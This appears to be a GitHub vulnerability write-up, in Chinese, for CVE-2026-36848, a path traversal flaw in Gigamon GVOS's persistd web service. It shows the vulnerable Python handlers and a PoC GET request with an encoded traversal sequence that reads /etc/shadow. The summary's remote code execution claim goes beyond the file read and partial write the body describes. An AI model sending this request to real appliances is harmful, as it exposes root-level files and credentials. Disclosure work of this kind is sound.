calligraf0/CVE-2026-36848
GitHub: calligraf0/CVE-2026-36848
该项目是 Gigamon GVOS 设备未经认证远程代码执行漏洞(CVE-2026-36848)的 PoC 与技术分析,揭示了 persistd 守护进程中的路径遍历缺陷。
Stars: 0 | Forks: 0
# CVE-2026-36848
在 Gigamon-VUE OS (GVOS) 设备端口 8089 上的基于 Web 的管理引擎中发现了一个严重的路径遍历漏洞。该缺陷存在于 `persistd` 守护进程内的旧版 H-VUE 子系统中,允许具有该服务网络访问权限的未经身份验证的远程攻击者以 root 权限读取任意文件并执行部分写入操作(无法覆盖现有文件)。
## 1. 漏洞概述
- **CVE ID:** CVE-2026-36848
- **目标端口:** 8089 (TornadoHTTP Web Application)
- **受影响组件:** `/opt/tms/persistd_py/persistd.py`
- **漏洞类别:** 路径遍历 ([CWE-22](https://cwe.mitre.org/data/definitions/22.html))
- **影响:** 任意文件读取 & 部分任意文件写入(以 `root` 用户身份执行)
## 2. 技术代码分析与根本原因
运行在端口 8089 上的 TornadoHTTP Web 服务实现了在 `/opt/tms/persistd_py/persistd.py` 中映射的路由配置。该守护进程暴露了多个路由,用于处理数据库交互和配置备份:
```
app = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
```
### 未经过滤的输入传递
`DownloadDbFile` 和 `UploadDbFile` 处理程序直接使用来自 URI 正则表达式捕获组的用户提供的路径,并在未经过滤的情况下将其传递给底层实用程序函数。
### 2.1 文件下载路径遍历(任意文件读取)
当客户端请求下载文件时,GET 处理程序会调用 `download_file` 实用程序:
```
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
```
底层目标函数 `download_file` 尝试使用原始的字符串拼接来打开请求的文件,而不是解析安全的规范路径:
```
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Root Cause: Direct concatenation enables directory breakout via traversal sequences
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
```
由于没有进行完整性过滤(例如,检查像 `..` 这样的目录遍历序列),通过 `file_name` 注入的任何相对路径序列都会直接拼接到 `DBFILE_DIR` 上,并相对于系统根目录进行解析。
### 2.2 文件上传路径遍历(任意文件写入)
类似地,用于数据库上传的 PUT 处理程序将请求主体和用户定义的路径直接传递给 `upload_file` 实用程序:
```
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
```
`upload_file` 例程利用 `os.path.join` 来确定目标路径。然而,一个常见的安全误解是认为 `os.path.join` 可以防止遍历。实际上,如果传递给 `os.path.join` 的组件表示绝对路径或包含相对遍历步骤,解析出的路径将逃逸出基础目录:
```
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Vulnerable Sink 2: rename operation performs unsafe string concatenation
os.rename(tmp_path, DBFILE_DIR + path)
```
这种输入过滤的结构性缺失允许攻击者提供包含遍历步骤的路径,使得服务能够在运行该守护进程的 root 用户上下文权限下,在 `DBFILE_DIR` 边界之外写入任意文件。
## 3. 概念验证 (PoC)
如果攻击者对路径分隔符进行 URL 编码(将 `/` 编码为 `%2F`),路由引擎将顺利解码并评估该序列,从而绕过标准路径限制。
### 任意文件读取(PoC 请求)
```
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: :8089
Accept: /
```
## 4. 修复与官方厂商回应
以下是厂商针对此漏洞提供的官方声明和升级指南:
我们要对 Gigamon 产品安全和工程团队在此次披露过程中表现出的卓越协调表示感谢。
标签:CISA项目, CVE-2026-36848, Gigamon, 编程工具, 路径遍历, 远程代码执行, 逆向工具